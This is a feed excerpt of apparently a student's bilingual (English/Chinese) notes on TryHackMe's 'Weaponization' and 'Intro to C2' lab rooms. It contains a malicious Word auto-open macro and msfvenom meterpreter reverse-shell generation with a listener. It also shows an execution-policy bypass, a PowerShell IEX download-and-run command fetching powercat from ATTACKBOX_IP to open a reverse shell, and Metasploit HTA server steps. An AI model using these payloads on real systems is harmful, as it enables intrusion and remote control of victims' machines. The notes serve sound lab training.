&lt;p&gt;It is important to note that to make the macro work, we need to save it in Macro-Enabled format such as .doc and docm. Now let&amp;#39;s save the file as Word 97-2003 Template where the Macro is enabled by going to File → save Document1 and save as type → Word 97-2003 Document and finally, save.&lt;br&gt;需要注意的是，要使宏正常工作，我们需要将其保存为启用宏的格式，例如 .doc 和 docm。现在，让我们将文件另存为 Word 97-2003 模板，通过转到“文件”→保存 Document1 并另存为 Word 97-2003 文档→类型，最后保存来启用宏。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-9.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Let&amp;#39;s close the Word document that we saved. If we reopen the document file, Microsoft Word will show a security message indicating that Macros have been disabled and give us the option to enable it. Let&amp;#39;s enable it and move forward to check out the result.&lt;br&gt;让我们关闭我们保存的Word文档。如果我们重新打开文档文件，Microsoft Word将显示一条安全消息，指示宏已被禁用，并给我们启用它的选项。让我们启用它并继续查看结果。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-10.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Once we allowed the Enable Content, our macro gets executed as shown,&lt;br&gt;一旦我们允许启用内容，我们的宏就会被执行，如下所示，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-11.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Now edit the word document and create a macro function that executes a calc.exe or any executable file as proof of concept as follows,&lt;br&gt;现在编辑 word 文档并创建一个执行calc.exe或任何可执行文件的宏函数作为概念证明，如下所示：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;Sub PoC()
	Dim payload As String
	payload = &amp;quot;calc.exe&amp;quot;
	CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run payload,0
End Sub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To explain the code in detail, with Dim payload As String, we declare payload variable as a string using Dim keyword. With payload = &amp;quot;calc.exe&amp;quot; we are specifying the payload name and finally with CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run payload we create a Windows Scripting Host (WSH) object and run the payload. Note that if you want to rename the function name, then you must include the function name in the  AutoOpen() and Document_open() functions too.&lt;br&gt;为了详细解释代码，使用 Dim payload As String，我们使用 Dim 关键字将 payload 变量声明为字符串。使用 payload = “calc.exe”，我们指定有效负载名称，最后使用 CreateObject（“Wscript.Shell”）。运行有效负载 我们创建一个 Windows 脚本主机 （WSH） 对象并运行有效负载。请注意，如果要重命名函数名称，则还必须在 AutoOpen（） 和 Document_open（） 函数中包含函数名称。&lt;/p&gt;
&lt;p&gt;Make sure to test your code before saving the document by using the running feature in the editor. Make sure to create AutoOpen() and Document_open() functions before saving the document. Once the code works, now save the file and try to open it again.&lt;br&gt;请确保在使用编辑器中的运行功能保存文档之前测试代码。在保存文档之前，请确保创建 AutoOpen（） 和 Document_open（） 函数。代码工作后，现在保存文件并尝试再次打开它。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It is important to mention that we can combine VBAs with previously covered methods, such as HTAs and WSH. VBAs/macros by themselves do not inherently bypass any detections.&lt;br&gt;值得一提的是，我们可以将 VBA 与前面介绍的方法（例如 HTA 和 WSH）结合使用。VBA/宏本身本身不会绕过任何检测。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s create an in-memory meterpreter payload using the Metasploit framework to receive a reverse shell. First, from the AttackBox, we create our meterpreter payload using msfvenom. We need to specify the Payload, LHOST, and LPORT, which match what is in the Metasploit framework. Note that we specify the payload as VBA to use it as a macro.&lt;br&gt;现在，让我们使用 Metasploit 框架创建一个内存中的 meterpreter 有效负载来接收反向 shell。首先，在 AttackBox 中，我们使用 msfvenom 创建 meterpreter 有效负载。我们需要指定 PayloadLHOST 和 LPORT，它们与 Metasploit 框架中的内容相匹配。请注意，我们将有效负载指定为 VBA 以将其用作宏。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;The value of the LHOST in the above terminal is an example of AttackBox&amp;#39;s IP address that we used. In your case, you need to specify the IP address of your AttackBox.&lt;br&gt;上述终端中 LHOST 的值是我们使用的 AttackBox IP 地址的一个示例。在您的情况下，您需要指定 AttackBox 的 IP 地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Import to note&lt;/strong&gt; that one modification needs to be done to make this work.  The output will be working on an MS excel sheet. Therefore, change the Workbook_Open() to Document_Open() to make it suitable for MS word documents.&lt;br&gt;导入时要注意，需要进行一次修改才能使其正常工作。输出将在 MS Excel 工作表上工作。因此，将 Workbook_Open（） 更改为 Document_Open（） 以使其适用于 MS word 文档。&lt;/p&gt;
&lt;p&gt;Now copy the output and save it into the macro editor of the MS word document, as we showed previously.&lt;br&gt;现在复制输出并将其保存到 MS word 文档的宏编辑器中，正如我们之前所示。&lt;/p&gt;
&lt;p&gt;From the attacking machine, run the Metasploit framework and set the listener as follows:&lt;br&gt;在攻击机器上，运行 Metasploit 框架并设置侦听器，如下所示：&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Once the malicious MS word document is opened on the victim machine, we should receive a reverse shell.&lt;br&gt;一旦在受害机器上打开恶意 MS Word 文档，我们应该会收到一个反向 shell。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of vba file: 2698 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfconsole -q
msf5 &amp;gt; use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) &amp;gt; set payload windows/meterpreter/reverse_tcp
payload =&amp;gt; windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) &amp;gt; set LHOST 10.50.159.15
LHOST =&amp;gt; 10.50.159.15
msf5 exploit(multi/handler) &amp;gt; set LPORT 443
LPORT =&amp;gt; 443
msf5 exploit(multi/handler) &amp;gt; exploit 

[*] Started reverse TCP handler on 10.50.159.15:443
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msf5 exploit(multi/handler) &amp;gt; exploit 

[*] Started reverse TCP handler on 10.50.159.15:443 
[*] Sending stage (176195 bytes) to 10.10.215.43
[*] Meterpreter session 1 opened (10.50.159.15:443 -&amp;gt; 10.10.215.43:50209) at 2021-12-13 10:46:05 +0000
meterpreter &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;PowerShell (PSH)&lt;/h1&gt;
&lt;p&gt;&lt;u&gt;PowerShell&lt;/u&gt; is an object-oriented programming language executed from the Dynamic Language Runtime (DLR) in .NET with some exceptions for legacy uses. Check out the TryHackMe room, &lt;a href=&quot;https://tryhackme.com/room/powershell&quot;&gt;Hacking withPowerShellfor more information aboutPowerShell&lt;/a&gt;&lt;br&gt;PowerShell 是一种面向对象的编程语言，从 .NET 中的动态语言运行时 （DLR） 执行，但旧用途有一些例外。有关 PowerShell 的详细信息，请查看 TryHackMe 聊天室 Hacking with PowerShell.  &lt;/p&gt;
&lt;p&gt;Red teamers rely on PowerShell in performing various activities, including initial access, system enumerations, and many others. Let&amp;#39;s start by creating a straightforward PowerShell script that prints &amp;quot;Welcome to the Weaponization Room!&amp;quot; as follows,&lt;br&gt;红队成员依靠 PowerShell 执行各种活动，包括初始访问、系统枚举等。让我们首先创建一个简单的 PowerShell 脚本，该脚本打印“欢迎来到武器化室！”，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Write-Output &amp;quot;Welcome to the Weaponization Room!&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the file as thm.ps1. With the Write-Output, we print the message &amp;quot;Welcome to the Weaponization Room!&amp;quot; to the command prompt. Now let&amp;#39;s run it and see the result.&lt;br&gt;将文件另存为 thm.ps1。使用写输出，我们将消息“欢迎来到武器化室！现在让我们运行它并查看结果。&lt;/p&gt;
&lt;p&gt;CMD&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\Users\thm\Desktop&amp;gt;powershell -File thm.ps1
File C:\Users\thm\Desktop\thm.ps1 cannot be loaded because running scripts is disabled on this system. For more
information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
    + CategoryInfo          : SecurityError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

C:\Users\thm\Desktop&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution Policy 执行策略&lt;/p&gt;
&lt;p&gt;PowerShell&amp;#39;s execution policy is a &lt;strong&gt;security option&lt;/strong&gt; to protect the system from running malicious scripts. By default, Microsoft disables executing PowerShell scripts .ps1 for security purposes. The PowerShell execution policy is set to Restricted, which means it permits individual commands but not run any scripts.&lt;br&gt;PowerShell 的执行策略是一个安全选项，用于保护系统免受恶意脚本的运行。默认情况下，出于安全目的，Microsoft 禁止执行 PowerShell 脚本 .ps1。PowerShell 执行策略设置为“受限”，这意味着它允许单个命令，但不允许运行任何脚本。  &lt;/p&gt;
&lt;p&gt;You can determine the current &lt;u&gt;PowerShell&lt;/u&gt; setting of your Windows as follows,&lt;br&gt;可以按如下方式确定 Windows 的当前 PowerShell 设置：&lt;/p&gt;
&lt;p&gt;CMD&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm&amp;gt; Get-ExecutionPolicy
Restricted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can also easily change the &lt;u&gt;PowerShell&lt;/u&gt; execution policy by running:&lt;br&gt;我们还可以通过运行以下命令轻松更改 PowerShell 执行策略：&lt;/p&gt;
&lt;p&gt;CMD&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\thm\Desktop&amp;gt; Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is &amp;quot;N&amp;quot;): A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bypass Execution Policy 绕过执行策略&lt;/p&gt;
&lt;p&gt;Microsoft provides ways to disable this restriction. One of these ways is by giving an argument option to the PowerShell command to change it to your desired setting. For example, we can change it to bypass policy which means nothing is blocked or restricted. This is useful since that lets us run our own PowerShell scripts.&lt;br&gt;Microsoft 提供了禁用此限制的方法。其中一种方法是为 PowerShell 命令提供参数选项，以将其更改为所需的设置。例如，我们可以将其更改为绕过策略，这意味着不会阻止或限制任何内容。这很有用，因为它允许我们运行自己的 PowerShell 脚本。  &lt;/p&gt;
&lt;p&gt;In order to make sure our &lt;u&gt;PowerShell&lt;/u&gt; file gets executed, we need to provide the bypass option in the arguments as follows,&lt;br&gt;为了确保我们的 PowerShell 文件得到执行，我们需要在参数中提供绕过选项，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\Users\thm\Desktop&amp;gt;powershell -ex bypass -File thm.ps1
Welcome to Weaponization Room!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&amp;#39;s try to get a reverse shell using one of the tools written in &lt;u&gt;PowerShell&lt;/u&gt;, which is powercat. On your AttackBox, download it from GitHub and run a webserver to deliver the payload.&lt;br&gt;现在，让我们尝试使用用 PowerShell 编写的工具之一（powercat）来获取反向 shell。在 AttackBox 上，从 GitHub 下载它并运行 Web 服务器以提供有效负载。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ git clone https://github.com/besimorhino/powercat.git
Cloning into &amp;#39;powercat&amp;#39;...
remote: Enumerating objects: 239, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 239 (delta 0), reused 2 (delta 0), pack-reused 235
Receiving objects: 100% (239/239), 61.75 KiB | 424.00 KiB/s, done.
Resolving deltas: 100% (72/72), done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, we need to set up a web server on that AttackBox to serve the powercat.ps1that will be downloaded and executed on the target machine. Next, change the directory to powercat and start listening on a port of your choice. In our case, we will be using port 8080&lt;br&gt;现在，我们需要在该 AttackBox 上设置一个 Web 服务器，以提供将在目标计算机上下载和执行的 powercat.ps1。接下来，将目录更改为 powercat 并开始侦听您选择的端口。在本例中，我们将使用端口 8080.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ cd powercat
user@machine$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the AttackBox, we need to listen on port 1337 using nc to receive the connection back from the victim.&lt;br&gt;在 AttackBox 上，我们需要使用 nc 侦听端口 1337 以接收来自受害者的连接。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ nc -lvp 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, from the victim machine, we download the payload and execute it using &lt;u&gt;PowerShell&lt;/u&gt; payload as follows,&lt;br&gt;现在，我们从受害计算机下载有效负载并使用 PowerShell 有效负载执行它，如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\Users\thm\Desktop&amp;gt; powershell -c &amp;quot;IEX(New-Object System.Net.WebClient).DownloadString(&amp;#39;http://ATTACKBOX_IP:8080/powercat.ps1&amp;#39;);powercat -c ATTACKBOX_IP -p 1337 -e cmd&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have executed the command above, the victim machine downloads the powercat.ps1  payload from our web server (on the AttackBox) and then executes it locally on the target using cmd.exe and sends a connection back to the AttackBox that is listening on port 1337. After a couple of seconds, we should receive the connection call back:&lt;br&gt;现在我们已经执行了上面的命令，受害计算机从我们的 Web 服务器（在 AttackBox 上）下载 powercat.ps1 有效负载，然后使用 cmd.exe 在目标上本地执行它，并将连接发送回正在侦听 port1337 的 AttackBox。几秒钟后，我们应该会收到连接回调：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@machine$ nc -lvp 1337  listening on [any] 1337 ...
10.10.12.53: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.12.53] 49804
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\thm&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Delivery Techniques 交付技术&lt;/h1&gt;
&lt;p&gt;Delivery techniques are one of the important factors for getting initial access. They have to look professional, legitimate, and convincing to the victim in order to follow through with the content.&lt;br&gt;交付技术是获得初始访问权限的重要因素之一。他们必须看起来专业、合法且对受害者有说服力，才能跟进内容。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-13.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;Email Delivery 电子邮件传递&lt;/h2&gt;
&lt;p&gt;It is a common method to use in order to send the payload by sending a phishing email with a link or attachment. For more info, visit &lt;a href=&quot;https://attack.mitre.org/techniques/T1566/001/&quot;&gt;here&lt;/a&gt;. This method attaches a malicious file that could be the type we mentioned earlier. The goal is to convince the victim to visit a malicious website or download and run the malicious file to gain initial access to the victim&amp;#39;s network or host.&lt;br&gt;这是一种常用的方法，用于通过发送带有链接或附件的网络钓鱼电子邮件来发送有效负载。欲了解更多信息，请访问这里。此方法附加了一个恶意文件，该文件可能是我们前面提到的类型。目标是说服受害者访问恶意网站或下载并运行恶意文件，以获得对受害者网络或主机的初始访问权限。&lt;/p&gt;
&lt;p&gt;The red teamers should have their own infrastructure for phishing purposes. Depending on the red team engagement requirement, it requires setting up various options within the email server, including DomainKeys Identified Mail (DKIM), Sender Policy Framework (SPF), and &lt;u&gt;DNS&lt;/u&gt; Pointer (PTR) record.&lt;br&gt;红队成员应该有自己的基础设施来进行网络钓鱼。根据红队参与要求，它需要在电子邮件服务器中设置各种选项，包括域名密钥识别邮件 （DKIM）、发件人策略框架 （SPF） 和 DNS 指针 （PTR） 记录。&lt;/p&gt;
&lt;p&gt;The red teamers could also use third-party email services such as Google Gmail, Outlook, Yahoo, and others with good reputations.&lt;br&gt;红队成员还可以使用第三方电子邮件服务，例如 Google Gmail、Outlook、Yahoo 和其他声誉良好的服务。&lt;/p&gt;
&lt;p&gt;Another interesting method would be to use a compromised email account within a company to send phishing emails within the company or to others. The compromised email could be hacked by phishing or by other techniques such as password spraying attacks.&lt;br&gt;另一种有趣的方法是使用公司内部受损的电子邮件帐户在公司内部或向其他人发送网络钓鱼电子邮件。受感染的电子邮件可能会被网络钓鱼或其他技术（例如密码喷射攻击）入侵。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-14.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;Web Delivery Web 交付&lt;/h2&gt;
&lt;p&gt;Another method is hosting malicious payloads on a web server controlled by the red teamers. The web server has to follow the security guidelines such as a clean record and reputation of its domain name and TLS (Transport Layer Security) certificate. For more information, visit &lt;a href=&quot;https://attack.mitre.org/techniques/T1189/&quot;&gt;here&lt;/a&gt;.&lt;br&gt;另一种方法是在由红队成员控制的 Web 服务器上托管恶意负载。Web 服务器必须遵循安全准则，例如其域名和 TLS（传输层安全性）证书的干净记录和信誉。欲了解更多信息，请访问这里。&lt;/p&gt;
&lt;p&gt;This method includes other techniques such as social engineering the victim to visit or download the malicious file. A URL shortener could be helpful when using this method.&lt;br&gt;此方法包括其他技术，例如社会工程受害者访问或下载恶意文件。使用此方法时，URL 缩短器可能会有所帮助。&lt;/p&gt;
&lt;p&gt;In this method, other techniques can be combined and used. The attacker can take advantage of zero-day exploits such as exploiting vulnerable software like Java or browsers to use them in phishing emails or web delivery techniques to gain access to the victim machine.&lt;br&gt;在这种方法中，可以组合和使用其他技术。攻击者可以利用零日漏洞，例如利用 Java 或浏览器等易受攻击的软件，在网络钓鱼电子邮件或 Web 交付技术中使用它们来访问受害计算机。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-15.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;USB Delivery USB 传输&lt;/h2&gt;
&lt;p&gt;This method requires the victim to plug in the malicious USB physically. This method could be effective and useful at conferences or events where the adversary can distribute the USB. For more information about USB delivery, visit &lt;a href=&quot;https://attack.mitre.org/techniques/T1091/&quot;&gt;here&lt;/a&gt;.&lt;br&gt;此方法要求受害者物理插入恶意 USB。此方法在对手可以分发 USB 的会议或活动中可能有效且有用。有关 USB 传输的更多信息，请访问此处。&lt;/p&gt;
&lt;p&gt;Often, organizations establish strong policies such as disabling USB usage within their organization environment for security purposes. While other organizations allow it in the target environment.&lt;br&gt;通常，组织会建立强有力的策略，例如出于安全目的在其组织环境中禁用 USB 使用。而其他组织则允许在目标环境中使用它。&lt;/p&gt;
&lt;p&gt;Common USB attacks used to weaponize USB devices include &lt;a href=&quot;https://shop.hak5.org/products/usb-rubber-ducky-deluxe&quot;&gt;Rubber Ducky&lt;/a&gt; and &lt;a href=&quot;https://www.minitool.com/news/usbharpoon.html&quot;&gt;USBHarpoon&lt;/a&gt;, charging USB cable, such as &lt;a href=&quot;https://shop.hak5.org/products/omg-cable&quot;&gt;O.MG Cable&lt;/a&gt;&lt;br&gt;用于武器化 USB 设备的常见 USB 攻击包括 Rubber Ducky 和 USBHarpoon，为 USB 电缆充电，例如 O.MG 电缆.&lt;/p&gt;
&lt;h1&gt;Practice Arena&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里使用metasploit的hta_server&lt;/p&gt;
&lt;h5&gt;Metasploit HTA WebServer&lt;/h5&gt;
&lt;p&gt;通过 Metasploit 的 HTA Web Server 模块发起 HTA 攻击&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;use exploit/windows/misc/hta_server &lt;/p&gt;
&lt;p&gt;set srvhost 10.10.212.121&lt;/p&gt;
&lt;p&gt;set payload windows/x64/meterpreter/reverse_tcp &lt;/p&gt;
&lt;p&gt;set target 1 &lt;/p&gt;
&lt;p&gt;run -j&lt;/p&gt;
&lt;p&gt;//目标windowx上执行&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://10.10.212.121:8080/wSIlcWV8au.hta&quot;&gt;http://10.10.212.121:8080/wSIlcWV8au.hta&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;又出现意外了&lt;/p&gt;
&lt;p&gt;死活不弹&lt;/p&gt;
&lt;p&gt;换个攻击盒子吧&lt;/p&gt;
&lt;p&gt;之后成功了&lt;/p&gt;
&lt;p&gt;测试半天执行命令，发现执行的是攻击盒子（本机）&lt;/p&gt;
&lt;p&gt;sessions -i 1   返回监听界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个时候没有交互shell&lt;/p&gt;
&lt;p&gt;直接输入shell即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Weaponization-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;吐了搞了一节课&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-weaponization/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-weaponization/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 02 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Intro to C2</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-intro-to-c2/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-intro-to-c2/</guid><description>Red Teaming</description><content:encoded>&lt;p&gt;命令与控制 （C2） 框架是 Red Teamers 和 Advanced Adversaries 剧本的重要组成部分。它们使在交战期间管理受感染的设备变得容易，并且通常有助于横向移动。&lt;/p&gt;
&lt;p&gt;几乎所有的 C2 框架都需要一个特殊的有效载荷生成器。这通常是框架本身内置的功能。例如，Metasploit 是一个 C2 框架，它有自己的有效负载生成器 MSFVenom。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Intro%20to%20C2-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;让我们从最重要的组件开始 - C2 服务器本身。C2 服务器充当代理回调的中心。代理将定期联系 C2 服务器并等待操作员的命令。&lt;/p&gt;
&lt;h2&gt;混淆代理回调&lt;/h2&gt;
&lt;h3&gt;Sleep Timers 睡眠定时器&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:05.000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：05.000&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 2s, 33 packets sent, 10:00:10.000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 2 秒，发送 33 个数据包，10：00：10.000&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:15.000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：15.000&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 1s, 33 packets sent, 10:00:20.000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 1 秒，发送 33 个数据包，10：00：20.000&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:25.000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：25.000&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一种模式开始形成。代理每 5 秒发出一次信标;这意味着它有一个 5 秒的睡眠定时器。&lt;/p&gt;
&lt;h3&gt;Jitter 抖动&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:03.580&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：03.580&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 2s, 33 packets sent, 10:00:13.213&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 2 秒，发送 33 个数据包，10：00：13.213&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:14.912&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：14.912&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 1s, 33 packets sent, 10:00:23.444&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 1 秒，发送 33 个数据包，10：00：23.444&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;TCP&lt;/u&gt;/443 - Session Duration 3s, 55 packets sent, 10:00:27.182&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TCP/443 - 会话持续时间 3 秒，发送 55 个数据包，10：00：27.182&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;信标现在设置为半不规则模式，这使得在常规用户流量中识别的难度略有增加。在更高级的 C2 框架中，可以更改各种其他参数，例如“文件”抖动或将垃圾数据添加到有效负载或正在传输的文件以使其看起来比实际更大。&lt;/p&gt;
&lt;p&gt;Jitter 的示例 Python3 代码可能如下所示：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;import random&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sleep = 60&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;jitter = random.randint(-30,30)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;sleep = sleep + jitter&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Payload Types 有效负载类型&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Much like a regular Reverse Shell, there are two primary types of payloads that you may be able to use in your C2 Framework; Staged and Stageless payloads.&lt;br&gt;与常规的反向 Shell 非常相似，您可以在 C2 框架中使用两种主要类型的有效负载;暂存和无暂存有效负载。&lt;/p&gt;
&lt;h3&gt;Stageless Payloads 无级有效载荷&lt;/h3&gt;
&lt;p&gt;Stageless Payloads are the simplest of the two; they contain the full &lt;u&gt;C2&lt;/u&gt; agent and will call back to the &lt;u&gt;C2&lt;/u&gt; server and begin beaconing immediately. You can refer to the diagram below to gain a better understanding of how Stageless payloads operate.&lt;br&gt;无级有效载荷是两者中最简单的;它们包含完整的 C2 代理，并将回调到 C2 服务器并立即开始信标。您可以参考下图，以更好地了解无级有效负载的运行方式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Intro%20to%20C2-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
